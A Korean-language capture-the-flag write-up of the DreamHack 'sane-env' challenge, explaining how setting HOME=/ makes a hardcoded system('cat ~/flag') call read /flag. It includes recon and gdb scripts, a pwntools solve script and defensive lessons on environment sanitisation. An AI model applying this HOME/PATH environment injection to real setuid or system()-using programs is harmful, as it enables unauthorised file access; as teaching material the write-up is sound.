[🥉 Bronze 4] 명령은 고정인데 경로가 흔들린다 — DreamHack sane-env 풀이

2026-08-12·1분 읽기·

[🥉 Bronze 4] 명령은 고정인데 경로가 흔들린다 — DreamHack sane-env 풀이

하드코딩된 system("cat ~/flag") 한 줄을 두고 프로그램은 PATH 만 표준값으로 되돌린다. 그런데 `~` 를 푸는 주체는 프로그램이 아니라 system() 이 띄우는 /bin/sh 이고, dash 의 틸드 확장은 $HOME 만 본다. 메뉴 1번으로 HOME 을 루트로 심어 cat ~/flag 를 cat //flag 로 바꿔 플래그를 읽었다.

문제: DreamHack — sane-env 분류: pwnable 난이도: 🥉 Bronze 4 FLAG: DH{721be0e59f169526234c4375d25705142979af803b5e8a3419e70ff07fb652ae}

문제 설명은 짧다.

드림이의 사랑 system()... 드림이는 system()을 잃을 수 없대요! 명령어도 하드코딩되었는데 별 문제 없겠죠? 플래그는 /flag 파일에 있습니다.

"명령어도 하드코딩되었는데"라는 문장이 이 문제의 전부다. 명령 문자열을 우리가 못 건드리면 안전할 것 같지만, system() 은 문자열을 그대로 실행하는 함수가 아니다. 셸을 한 번 더 띄운다.

문제 개요

항목내용
문제명sane-env
난이도🥉 Bronze 4
분류pwnable
제공 파일sane-env (x86-64 ELF, 16KB)
서버host3.dreamhack.games:18361 (드림핵 라이브 VM)
보호 기법Full RELRO · Canary · NX · PIE · SHSTK/IBT
핵심 취약점system() 이 띄우는 /bin/sh 의 틸드 확장이 $HOME 을 참조

메뉴는 네 개다. 환경변수를 넣고(1), 지우고(2), 하드코딩된 system() 을 부르고(3), 나간다(4).

3번이 부르는 명령은 cat ~/flag 로 고정이고, 그 직전에 프로그램이 PATH 를 표준값으로 되돌린다. 그래서 흔한 cat 하이재킹은 애초에 막혀 있다. 남은 건 명령 문자열 안의 물결표 하나다.



🧩 배경 — system() 은 셸을 하나 더 띄운다

system("...") 은 명령을 직접 실행하지 않는다. 내부적으로 fork 후 아래를 실행한다.

execl("/bin/sh", "sh", "-c", command, (char *) NULL);

즉 우리가 넘긴 문자열은 셸의 입력이다. 셸이 그 문자열을 읽으며 하는 일이 전부 공격면이 된다 — 단어 분해, 변수 확장, 틸드 확장, PATH 를 훑는 실행 파일 탐색.

이 문제가 막은 건 그중 마지막 하나뿐이다. PATH 를 원상복구하는 데 쓰인 함수는 confstr 이다.

size_t confstr(int name, char *buf, size_t len);
/* _CS_PATH (== 0) : "표준 유틸리티를 찾을 수 있다고 보장되는 PATH".
   glibc 는 "/bin:/usr/bin" 을 돌려준다. */

confstr(_CS_PATH, ...) 는 시스템이 보장하는 기본 PATH 문자열을 돌려준다. 사용자가 PATH 를 어떻게 오염시켜 놨든 이 값으로 덮어쓰면 cat 은 항상 진짜 /bin/cat 이 잡힌다. 문제 제목의 "sane env" 가 이걸 가리킨다.

문제는 셸이 참조하는 환경변수가 PATH 하나가 아니라는 것이다.



🔬 정찰 — 무엇을 부르는 바이너리인가

먼저 파일 종류와 보호 기법부터 본다. 매번 두 줄을 따로 치기 귀찮아 스크립트로 묶었다.

#!/usr/bin/env bash
# sane-env 정찰 — 파일 종류와 보호 기법
cd "$(dirname "$(readlink -f "$0")")"
file extracted/sane-env
echo
checksec --file=extracted/sane-env
./recon.sh
recon.sh 실행 화면 — file 명령이 x86-64 PIE 동적 링크 실행파일이라고 답하고, 이어서 checksec 가 Full RELRO, Canary found, NX enabled, PIE enabled, SHSTK/IBT Enabled, Stripped No 를 보고한다
recon.sh 실행 화면 — file 명령이 x86-64 PIE 동적 링크 실행파일이라고 답하고, 이어서 checksec 가 Full RELRO, Canary found, NX enabled, PIE enabled, SHSTK/IBT Enabled, Stripped No 를 보고한다

보호 기법은 전부 켜져 있다. Full RELRO 라 GOT 덮어쓰기는 없고, 카나리와 PIE 도 살아 있다. 메모리 손상으로 풀 문제가 아니라는 신호다.

다음은 심볼이다. 바이너리가 직접 가진 함수와 libc 에서 끌어다 쓰는 함수를 나눠서 봤다.

#!/usr/bin/env bash
# 바이너리가 직접 가진 함수와, libc 에서 끌어다 쓰는 함수를 나눠서 본다
cd "$(dirname "$(readlink -f "$0")")"
echo "[정의된 함수]"
nm extracted/sane-env | grep ' T ' | sort
echo
echo "[libc 에서 가져오는 것]"
readelf --dyn-syms -W extracted/sane-env | awk '$7 == "UND" && $8 != "" {print "  " $8}'
./syms.sh
syms.sh 실행 화면 — nm 이 setup, flag, menu, main 네 함수를 보여주고 readelf 의 UND 목록에 setenv, unsetenv, confstr, system, execve, fgets, malloc, free 가 나열된다
syms.sh 실행 화면 — nm 이 setup, flag, menu, main 네 함수를 보여주고 readelf 의 UND 목록에 setenv, unsetenv, confstr, system, execve, fgets, malloc, free 가 나열된다

setenv · unsetenv · confstr · system 이 한자리에 있는 것만으로 문제의 성격이 드러난다. 환경변수를 갖고 노는 문제다.

flag 라는 이름의 함수도 보이는데, 뒤에서 보겠지만 이건 미끼다.

문자열도 훑는다.

strings -a extracted/sane-env | grep -nE "flag|PATH|/bin/sh|hack"
strings 와 grep 조합 실행 화면 — 33번 줄에 슬래시 bin 슬래시 sh, 49번 줄에 PATH, 51번 줄에 cat 물결표 슬래시 flag 라는 하드코딩된 명령 문자열이 그대로 보인다
strings 와 grep 조합 실행 화면 — 33번 줄에 슬래시 bin 슬래시 sh, 49번 줄에 PATH, 51번 줄에 cat 물결표 슬래시 flag 라는 하드코딩된 명령 문자열이 그대로 보인다

cat ~/flag 가 그대로 박혀 있다. 그리고 /bin/sh 문자열은 따로 하나 더 있다 — 이건 system() 이 쓰는 게 아니라(그건 libc 안에 있다) 바이너리 자신이 참조하는 것이다.


🧱 3번 메뉴가 실제로 하는 일

3번 분기만 잘라서 디스어셈블했다. 오류 처리 분기(각각 puts 후 exit)가 네 군데 끼어 흐름이 잘 안 보여서, 주소 범위로 걷어내고 주석을 얹었다.

s|call.*<confstr@plt>|&   <-- _CS_PATH 조회(길이 → 값)|
s|call.*<malloc@plt>|&   <-- 그 길이만큼 버퍼|
s|lea .*# 2158 .*|&   <-- "PATH"|
s|call.*<setenv@plt>|&   <-- setenv("PATH", 표준경로, 1) : PATH 하이재킹 봉쇄|
s|lea .*# 2170 .*|&   <-- "cat ~/flag"|
s|call.*<system@plt>|&   <-- system("cat ~/flag")|

위 치환 규칙을 annot_case3.sed 에 두고, objdump 출력에 얹어 찍는 스크립트다.

#!/usr/bin/env bash
# 3번 메뉴(하드코딩 system) 구간만 디스어셈블한다.
#  - annot_case3.sed 로 핵심 call 에 주석을 얹고
#  - "실패하면 puts + exit" 네 군데 오류 분기는 걷어내 흐름만 남긴다
cd "$(dirname "$(readlink -f "$0")")"
objdump -d -M intel --no-show-raw-insn \
        --start-address=0x1715 --stop-address=0x1822 extracted/sane-env \
  | tail -n +8 \
  | sed -f annot_case3.sed \
  | awk '{
      if (match($1, /^[0-9a-f]+:$/)) {
        a = strtonum("0x" substr($1, 1, length($1) - 1))
        if ((a >= 0x173a && a <= 0x174e) || (a >= 0x1773 && a <= 0x1787) ||
            (a >= 0x17ac && a <= 0x17c0) || (a >= 0x17e8 && a <= 0x17fc)) next
      }
      print
    }'
./disas_case3.sh
objdump 로 뽑은 3번 메뉴 구간 디스어셈블 — confstr 두 번 호출로 표준 PATH 를 받아 setenv 로 덮은 뒤 free 를 거쳐 곧바로 system 을 호출하는 흐름에 주석이 달려 있다
objdump 로 뽑은 3번 메뉴 구간 디스어셈블 — confstr 두 번 호출로 표준 PATH 를 받아 setenv 로 덮은 뒤 free 를 거쳐 곧바로 system 을 호출하는 흐름에 주석이 달려 있다

0x1810 의 lea 가 가리키는 0x2170 이 아까 strings 에서 본 cat ~/flag 이고, 바로 다음 명령이 system@plt 호출이다. 그 사이에 우리가 끼어들 자리는 없다. C 로 옮기면 이렇다.

size_t len = confstr(_CS_PATH, NULL, 0);        /* 필요한 길이 */
char  *buf = malloc(len);
confstr(_CS_PATH, buf, len);                    /* "/bin:/usr/bin" */
setenv("PATH", buf, 1);                         /* 덮어쓰기 1 = 강제 */
free(buf);
system("cat ~/flag");

인자도 고정, PATH 도 고정. 여기까지만 보면 손댈 곳이 없어 보인다.

일단 눌러본다 — 로컬 컨테이너

원격에 붙기 전에 같은 배치를 로컬에 만들었다. 플래그는 /flag 에 있고 홈 디렉토리에는 없는 상태다.

# 로컬 재현용 — 원격과 같은 조건(플래그가 /flag 에 있고, HOME 에는 없다)을 만든다.
FROM ubuntu:22.04
 
RUN useradd -m chall
RUN echo 'DH{local_dummy_flag_for_verification_only}' > /flag && chmod 644 /flag
 
COPY extracted/sane-env /home/chall/sane-env
RUN chmod +x /home/chall/sane-env
 
USER chall
WORKDIR /home/chall
ENV HOME=/home/chall
CMD ["/home/chall/sane-env"]
docker build -f Dockerfile.local -t sane-env-local .

아무것도 안 건드리고 3번만 눌러본다.

#!/usr/bin/env bash
# HOME 은 그대로 두고 3번만 눌러 본다. 컨테이너 배치는 원격과 같다 — /flag 는 있고 홈에는 없다.
cd "$(dirname "$(readlink -f "$0")")"
printf '3\n4\n' | docker run -i --rm sane-env-local
./demo_before.sh
로컬 컨테이너에서 3번 메뉴만 실행한 화면 — cat 이 홈 디렉토리 아래 flag 파일을 찾지 못해 No such file or directory 를 내고, 프로그램은 태연히 system 이 동작했다고 출력한다
로컬 컨테이너에서 3번 메뉴만 실행한 화면 — cat 이 홈 디렉토리 아래 flag 파일을 찾지 못해 No such file or directory 를 내고, 프로그램은 태연히 system 이 동작했다고 출력한다

cat: /home/chall/flag: No such file or directory. 플래그는 /flag 에 있는데 cat 은 홈 아래를 봤다. 이 한 줄이 힌트를 다 준다 — ~ 가 이미 무언가로 치환되고 있다.



🐛 삽질

▶🐛 삽질 1 — PATH 를 바꿔치면 되지 않나

가장 먼저 떠오르는 건 1번 메뉴로 PATH 를 우리 디렉토리로 바꾸고, 거기에 가짜 cat 을 두는 그림이다. 소스를 이미 봤으니 안 될 걸 알지만, 정말 안 되는지 실행으로 확인하고 넘어갔다.

PATH 를 존재하지 않는 경로 하나로 바꿔 놓고 3번을 누른다. 정말 PATH 가 /nonexistent 라면 셸은 cat: not found 를 내야 한다.

#!/usr/bin/env bash
# 삽질 1 — PATH 를 엉뚱한 곳으로 바꿔 놓고 3번을 눌러 본다.
# 정말로 PATH 가 /nonexistent 라면 sh 는 "cat: not found" 를 내야 한다.
cd "$(dirname "$(readlink -f "$0")")"
printf '1\nPATH\n/nonexistent\n3\n4\n' | docker run -i --rm sane-env-local
./demo_pathhijack.sh
PATH 를 존재하지 않는 경로로 바꾼 뒤 3번을 누른 화면 — 환경변수가 설정됐다는 메시지가 뜨지만 cat 은 정상적으로 실행되어 홈 아래 flag 가 없다는 같은 오류를 낸다
PATH 를 존재하지 않는 경로로 바꾼 뒤 3번을 누른 화면 — 환경변수가 설정됐다는 메시지가 뜨지만 cat 은 정상적으로 실행되어 홈 아래 flag 가 없다는 같은 오류를 낸다

cat: not found 가 아니라 아까와 똑같은 No such file or directory 가 나왔다. cat 이 멀쩡히 실행됐다는 뜻이고, 곧 우리가 넣은 PATH 가 system() 직전에 지워졌다는 뜻이다. confstr 복구가 실제로 동작하는 걸 눈으로 확인한 셈이다.

이 방향은 여기서 접었다.

▶🐛 삽질 2 — 안 쓰이는 flag() 함수로 뛸 수 없나

nm 에 flag 라는 함수가 보였다. 열어 보면 셸을 띄운다.

000000000000138e <flag>:
    13a9:  lea    rax,[rip+0xc54]        ; 0x2004 = "/bin/sh"
    13b0:  mov    QWORD PTR [rbp-0x28],rax
    13b4:  mov    rax,QWORD PTR [rbp-0x28]
    13b8:  mov    QWORD PTR [rbp-0x20],rax   ; argv[0]
    13bc:  mov    QWORD PTR [rbp-0x18],0x0   ; argv[1] = NULL
    13d7:  call   11c0 <execve@plt>

전형적인 win 함수라 리턴 주소만 덮으면 될 것처럼 보인다. 그런데 입력 경로를 재보면 넘칠 자리가 없다.

    1546:  lea    rax,[rbp-0x210]
    154d:  mov    esi,0x100              ; 이름 버퍼: 0x210 자리에 최대 0x100
    1555:  call   11b0 <fgets@plt>
    15af:  lea    rax,[rbp-0x110]
    15b6:  mov    esi,0x100              ; 값 버퍼: 0x110 자리에 최대 0x100
    15be:  call   11b0 <fgets@plt>
    1480:  mov    rax,QWORD PTR fs:0x28
    1489:  mov    QWORD PTR [rbp-0x8],rax  ; 카나리

값 버퍼는 rbp-0x110 에서 시작해 최대 0x100 바이트를 받으니 rbp-0x10 에서 끝난다. 카나리는 rbp-0x8 이다. 딱 8바이트 모자라게 설계돼 있다. fgets 라 널 종료도 하나 붙는다.

메뉴 선택은 scanf("%d") 로 정수 하나만 받고, 나머지 입력은 전부 이 두 버퍼로만 들어간다. 메모리 손상 경로가 아예 없다. 보호 기법이 전부 켜져 있던 것과도 맞아떨어진다.

flag() 는 "여기 win 함수 있으니 스택 뒤져봐"라고 시간을 쓰게 만드는 미끼다.



💣 핵심 — ~ 를 푸는 건 프로그램이 아니다

삽질 1의 출력으로 돌아가 보자. 프로그램은 cat ~/flag 를 넘겼는데 오류 메시지에는 /home/chall/flag 가 찍혔다. 물결표를 홈 경로로 바꾼 주체가 어딘가에 있다.

바이너리에는 그런 코드가 없다. getenv("HOME") 도, 문자열 치환도 없다. 그 일을 하는 건 system() 이 띄운 /bin/sh 다.

POSIX 셸의 틸드 확장은 규칙이 아주 단순하다. 단어 맨 앞의 ~ 뒤에 사용자 이름이 없으면 $HOME 값으로 치환한다. PATH 와는 아무 상관이 없다.

정말 그런지 셸에 직접 물어봤다. env -i 로 환경을 통째로 비우고 HOME 하나만 남겨서, PATH 조차 없는 상태로 확인한다.

#!/usr/bin/env bash
# system() 이 부르는 /bin/sh 가 `~` 를 무엇으로 푸는지 직접 본다.
# env -i 로 환경을 통째로 비워 HOME 하나만 남긴다 — PATH 는 아예 없다.
echo "/bin/sh -> $(readlink -f /bin/sh)"
echo
for h in /home/chall / /tmp; do
  printf 'HOME=%-12s  ->  %s\n' "$h" "$(env -i HOME="$h" /bin/sh -c 'echo ~/flag')"
done
printf 'HOME 없음          ->  %s\n' "$(env -i /bin/sh -c 'echo ~/flag')"
./tilde_probe.sh
tilde probe 스크립트 실행 결과 — dash 가 HOME 값에 따라 물결표를 홈 경로, 루트, 임시 디렉토리로 각각 바꾸고, HOME 이 아예 없으면 물결표를 그대로 남긴다
tilde probe 스크립트 실행 결과 — dash 가 HOME 값에 따라 물결표를 홈 경로, 루트, 임시 디렉토리로 각각 바꾸고, HOME 이 아예 없으면 물결표를 그대로 남긴다

세 줄이 답이다.

  • HOME=/home/chall 이면 ~/flag 는 /home/chall/flag. 지금 원격에서 벌어지는 일이다.
  • HOME=/ 이면 ~/flag 는 //flag. 리눅스에서 앞의 슬래시 두 개는 하나와 같으니 곧 /flag 다.
  • HOME 을 아예 지우면 ~/flag 가 문자 그대로 남는다. 그러니 2번 메뉴(unsetenv)는 오히려 손해다.

정리하면 이 그림이 된다.

sane-env 공격 흐름 다이어그램 — 프로그램 쪽에서는 confstr 로 PATH 를 표준값으로 되돌리지만, 명령 문자열이 그대로 전달된 dash 쪽에서 물결표가 HOME 값으로 확장되어 결국 루트의 flag 를 읽게 된다
sane-env 공격 흐름 다이어그램 — 프로그램 쪽에서는 confstr 로 PATH 를 표준값으로 되돌리지만, 명령 문자열이 그대로 전달된 dash 쪽에서 물결표가 HOME 값으로 확장되어 결국 루트의 flag 를 읽게 된다

프로그램이 지킨 것과 셸이 참조하는 것이 어긋나 있다. PATH 만 소독한 환경은 sane 하지 않았다.

이제 1번 메뉴로 HOME 을 루트로 심고 3번을 누른다.

#!/usr/bin/env bash
# 1번으로 HOME=/ 를 심고 3번을 누른다. `cat ~/flag` 가 `cat //flag` 가 된다.
cd "$(dirname "$(readlink -f "$0")")"
printf '1\nHOME\n/\n3\n4\n' | docker run -i --rm sane-env-local
./demo_after.sh
로컬 컨테이너에서 HOME 을 루트로 설정한 뒤 3번을 실행한 화면 — 이번에는 오류 대신 컨테이너에 심어 둔 로컬 더미 플래그 문자열이 그대로 출력된다
로컬 컨테이너에서 HOME 을 루트로 설정한 뒤 3번을 실행한 화면 — 이번에는 오류 대신 컨테이너에 심어 둔 로컬 더미 플래그 문자열이 그대로 출력된다

로컬 컨테이너의 더미 플래그가 나왔다. 원격에 붙기 전에 여기까지 확인하고 넘어갔다.


🎯 런타임 확인 — system() 진입 순간의 환경

정적 분석과 로컬 실행으로 결론은 났지만, system() 이 실제로 호출되는 순간에 세 값이 어떤 상태인지 한 번 더 확인했다. libc 의 system 에 브레이크를 걸고 rdi 와 두 환경변수를 찍는 gdb 배치 스크립트다.

set confirm off
set pagination off
set breakpoint pending on
set debuginfod enabled off
 
# libc 의 system 진입 순간에 멈춘다
break system
run < feed_home.txt
 
printf "\n---- system() 진입 시점 ----\n"
printf "rdi (명령 문자열) = %s\n", (char *) $rdi
printf "PATH              = %s\n", (char *) getenv("PATH")
printf "HOME              = %s\n", (char *) getenv("HOME")
printf "----------------------------\n\n"
 
continue

메뉴 입력은 파일로 먹인다.

1
HOME
/
3
4
gdb -q -batch -iex "set debuginfod enabled off" -x runtime.gdb ./extracted/sane-env
gdb 배치 실행 화면 — system 진입 시점에서 rdi 가 cat 물결표 슬래시 flag, PATH 는 표준 경로, HOME 은 루트로 찍히고 이어서 cat 이 슬래시 두 개짜리 경로를 읽으려다 실패하는 줄이 보인다
gdb 배치 실행 화면 — system 진입 시점에서 rdi 가 cat 물결표 슬래시 flag, PATH 는 표준 경로, HOME 은 루트로 찍히고 이어서 cat 이 슬래시 두 개짜리 경로를 읽으려다 실패하는 줄이 보인다

세 줄이 각각 하나씩 증명한다.

rdi 는 cat ~/flag 그대로다. 명령 문자열은 정말 고정이고 우리가 바꾼 게 아니다.

PATH 는 /bin:/usr/bin 이다. 우리가 무엇을 넣었든 confstr 값으로 덮였다.

HOME 은 / 다. 아무도 손대지 않아 우리가 넣은 값이 그대로 살아 있다.

그리고 continue 뒤에 찍힌 cat: //flag: No such file or directory — 로컬에는 /flag 가 없으니 실패하지만, 셸이 ~ 를 / 로 풀어 //flag 를 열려고 했다는 사실이 오류 메시지 안에 그대로 남았다. 여기서는 실패가 더 좋은 증거다.



🚀 Full Exploit

익스플로잇이라 할 것도 없다. 메뉴 1번으로 HOME=/ 를 넣고 3번을 누르면 끝이다. 로컬 컨테이너와 원격을 같은 코드로 다루려고 pwntools 로 감쌌다.

#!/usr/bin/env python3
# sane-env (DreamHack, Bronze 4 / pwnable) — HOME 하이재킹으로 `cat ~/flag` 를 /flag 로 돌린다.
#
#   3번 메뉴는 confstr(_CS_PATH) 로 얻은 표준 PATH 를 setenv("PATH", ...) 로 덮어쓴 뒤
#   system("cat ~/flag") 를 부른다. PATH 는 막혔지만 `~` 를 푸는 건 /bin/sh 이고,
#   dash 의 틸드 확장은 오직 $HOME 만 본다. 1번 메뉴로 HOME=/ 를 심으면
#   `cat ~/flag` 가 `cat //flag` 가 되어 /flag 를 그대로 읽는다.
#
#   사용법:
#     python3 solve.py                      # 원격 (아래 HOST/PORT)
#     python3 solve.py host.dreamhack.games 12345
#     python3 solve.py local                # 로컬 검증 (Dockerfile.local 로 만든 sane-env-local)
import re
import sys
from pwn import context, process, remote
 
context.log_level = "info"
 
HOST = "host3.dreamhack.games"   # 문제 서버는 켤 때마다 바뀐다
PORT = 18361
LOCAL_IMAGE = "sane-env-local"
 
# `~` 를 이것으로 붙여 읽는다. HOME=/ → `cat //flag` → 리눅스에선 /flag 와 같다.
HOME_VALUE = "/"
 
 
def connect():
    if len(sys.argv) > 1 and sys.argv[1] == "local":
        # 로컬 검증용 컨테이너: /flag 는 있고 HOME(/home/chall) 에는 없다 — 원격과 같은 배치.
        return process(["docker", "run", "-i", "--rm", LOCAL_IMAGE])
    host = sys.argv[1] if len(sys.argv) > 1 else HOST
    port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
    return remote(host, port)
 
 
def set_env(p, name, value):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Environment variable name: ", name.encode())
    p.sendlineafter(b"Environment variable value: ", value.encode())
    p.recvuntil(b"Environment variable set!")
 
 
def run_system(p):
    p.sendlineafter(b"> ", b"3")
    return p.recvuntil(b"system() worked!", drop=True)
 
 
def main():
    p = connect()
    set_env(p, "HOME", HOME_VALUE)          # ← 여기가 전부다
    out = run_system(p).decode(errors="replace")
    print("[*] system() 출력:", out.strip())
 
    m = re.search(r"DH\{.*?\}", out)
    print("[+] FLAG:", m.group(0) if m else "(플래그 형식 없음)")
 
    p.sendlineafter(b"> ", b"4")
    p.close()
 
 
if __name__ == "__main__":
    main()

먼저 로컬 컨테이너로 돌려 스크립트 자체가 맞는지 본다.

python3 solve.py local
solve.py 를 local 인자로 실행한 화면 — pwntools 가 docker 프로세스를 띄우고 로컬 더미 플래그를 받아 FLAG 줄에 그대로 출력한 뒤 프로세스를 정리한다
solve.py 를 local 인자로 실행한 화면 — pwntools 가 docker 프로세스를 띄우고 로컬 더미 플래그를 받아 FLAG 줄에 그대로 출력한 뒤 프로세스를 정리한다

같은 스크립트를 드림핵 라이브 서버로 향하게 한다.

python3 solve.py host3.dreamhack.games 18361
solve.py 를 드림핵 라이브 서버 주소와 포트로 실행한 화면 — 연결이 성립하자마자 system 출력 줄과 FLAG 줄에 DH 로 시작하는 64자리 진짜 플래그가 찍힌다
solve.py 를 드림핵 라이브 서버 주소와 포트로 실행한 화면 — 연결이 성립하자마자 system 출력 줄과 FLAG 줄에 DH 로 시작하는 64자리 진짜 플래그가 찍힌다
DH{721be0e59f169526234c4375d25705142979af803b5e8a3419e70ff07fb652ae}

🔁 재현

백업만 가지고도 바로 돌아가게 한 방 스크립트를 남겼다. 인자가 없으면 로컬 컨테이너로 동작만 확인하고, 호스트와 포트를 주면 실제 플래그를 받아 문제.json 의 값과 대조한다.

#!/usr/bin/env bash
# sane-env — 한 방 재현.
#
#   ./reproduce.sh                      로컬 컨테이너 재현 (더미 flag. 진짜 flag 아님)
#   ./reproduce.sh <host> <port>        드림핵 라이브 서버 → 진짜 flag
#
# 이 문제는 flag 가 원격 /flag 에만 있어 오프라인으로는 진짜 flag 를 만들 수 없다.
# 그래서 인자 없이 돌리면 "익스가 동작한다"까지만 증명하고, 진짜 flag 대조는 인자를 줬을 때만 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{local_dummy_flag_for_verification_only}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
docker build -q -f Dockerfile.local -t sane-env-local .
 
if [ "$#" -ge 2 ]; then
  MODE=remote
  OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
else
  MODE=local
  echo "※ 인자 없음 → 로컬 컨테이너로만 재현합니다(더미 flag)."
  OUT=$(timeout 300 python3 solve.py local 2>&1) || true
fi
 
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$MODE" = local ]; then
  if [ "$FLAG" = "$DUMMY" ]; then
    echo; echo "✅ LOCAL PASS  HOME 하이재킹 동작 확인 ($FLAG — 로컬 더미이며 진짜 flag 가 아님)"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$DUMMY')"; exit 1
fi
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1

글에 쓴 명령이 돌아간 환경은 아래와 같다. 특히 /bin/sh 가 무엇으로 연결돼 있는지가 이 문제에서는 의미가 있다 — dash 든 bash 든 틸드 확장은 같지만, 셸이 읽는 다른 변수(뒤에 적는 BASH_ENV 같은 것)는 구현마다 다르다.

항목값
OSUbuntu 25.10
/bin/sh/usr/bin/dash
Python3.13.7
pwntools4.15.0
gdb16.3
objdumpGNU Binutils 2.45
Docker29.7.2 (로컬 재현 컨테이너는 ubuntu:22.04)


📝 결론

system() 을 쓰는 순간 명령 문자열은 더 이상 문자열이 아니다

인자를 하드코딩했다는 사실은 생각보다 적게 보장한다. system() 은 문자열을 셸에 넘기고, 셸은 그걸 실행 전에 한 번 해석한다. 틸드 확장, 변수 확장, 글롭, 리다이렉션이 전부 그 해석 단계에서 일어난다.

이 문제는 그 해석 단계 중 딱 하나(PATH 탐색)만 막아 놓고 나머지를 열어 뒀다.

환경변수를 소독하려면 허용 목록으로 해야 한다

PATH 만 되돌리는 건 차단 목록 방식이다. 셸이 참조하는 변수는 그것 말고도 많다. HOME 은 틸드 확장에 쓰이고, IFS 는 단어 분해 방식을 바꾸며, bash 라면 비대화형 셸이 BASH_ENV 가 가리키는 파일을 실행한다. 동적 링커까지 내려가면 LD_PRELOAD 와 LD_LIBRARY_PATH 도 있다.

하나씩 지워 나가는 방식은 목록에서 빠진 것 하나로 무너진다. execve 로 필요한 변수만 담은 새 envp 를 직접 구성하는 쪽이 맞다.

애초에 셸을 띄우지 않는 선택지가 있다

cat ~/flag 를 실행하려던 것뿐이라면 셸이 필요 없다. execve("/bin/cat", ["cat", "/flag"], NULL) 이면 해석 단계 자체가 사라진다. 재미있게도 이 바이너리에는 쓰이지 않는 flag() 함수가 정확히 그 형태(execve 직접 호출)로 들어 있다. 안전한 방법을 옆에 두고 굳이 system() 을 쓴 셈이다.

미끼는 보호 기법이 알려준다

flag() 라는 이름의 win 함수를 보면 스택을 뒤지고 싶어진다. 하지만 Full RELRO에 카나리, PIE, 그리고 입력 버퍼가 카나리보다 정확히 8바이트 모자라게 잡혀 있다면 메모리 손상 경로는 설계상 닫혀 있다고 보는 편이 빠르다. 보호 기법 표는 방어 정보이기도 하지만, 출제자가 어느 방향을 막았는지 알려주는 지도이기도 하다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이
blog

[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이

메뉴 네 개가 각각 반쪽짜리 권한을 준다. 한 글자 명령 실행, 환경변수 설정, 임시 디렉토리 생성, 파일 업로드. 환경변수 차단 목록은 PATH 와 LD_PRELOAD 두 개를 완전 일치로만 막는데, 같은 일을 하는 LD_AUDIT 이 비어 있다. 올린 파일에 실행 권한이 없어도 로더는 .so 를 읽어서 생성자를 돌려 준다.
#dreamhack#ctf#pwnable+11
2026-10-23#dreamhack +4
[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이
blog

[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이

직접 구현한 strcmp 가 "몇 번째 바이트에서 처음 달랐는지" 와 "어느 쪽이 큰지" 를 그대로 알려 준다. 루프 길이가 s1 의 strlen 이라 짧은 s2 의 끝을 넘어 카나리까지 읽는데, 카나리 첫 바이트가 NUL 이라 비교가 그 자리에서 멈춘다. 그 장벽을 s1 오버플로로 직접 치우고 나머지를 이분탐색으로 복원했다.
#dreamhack#ctf#pwnable+8
2026-10-23#dreamhack +3
[🥉 Bronze 1] puts 한 줄로 PIE·카나리를 다 흘리기 — DreamHack Repeat Service 풀이
blog

[🥉 Bronze 1] puts 한 줄로 PIE·카나리를 다 흘리기 — DreamHack Repeat Service 풀이

문자열을 반복 출력해 주는 서비스에 memcpy 반복 루프가 숨어 있다. 복사 길이와 목표 길이를 고르면 마지막 memcpy 청크가 buf 경계를 넘어 카나리·saved rbp·복귀 주소까지 닿는다. PIE·카나리·NX·Full RELRO 가 전부 켜져 있지만, 끝에서 buf 를 그대로 puts 하기 때문에 "채운 경계 바로 뒤"에 있는 값이 새어 나온다. 카나리는 buf+1001 경계에서, PIE 베이스는 socat 런타임에서 main 포인터가 흘러 들어오는 buf+1032 경계에서 각각 누출했다. 복귀 주소를 win() 으로 덮고, EOF 대신 "Too long" 분기로 루프를 빠져나와 셸의 stdin 을 살린 채 system("/bin/sh") 를 띄워 플래그를 회수했다.
#dreamhack#ctf#pwnable+6
2026-10-20#dreamhack +3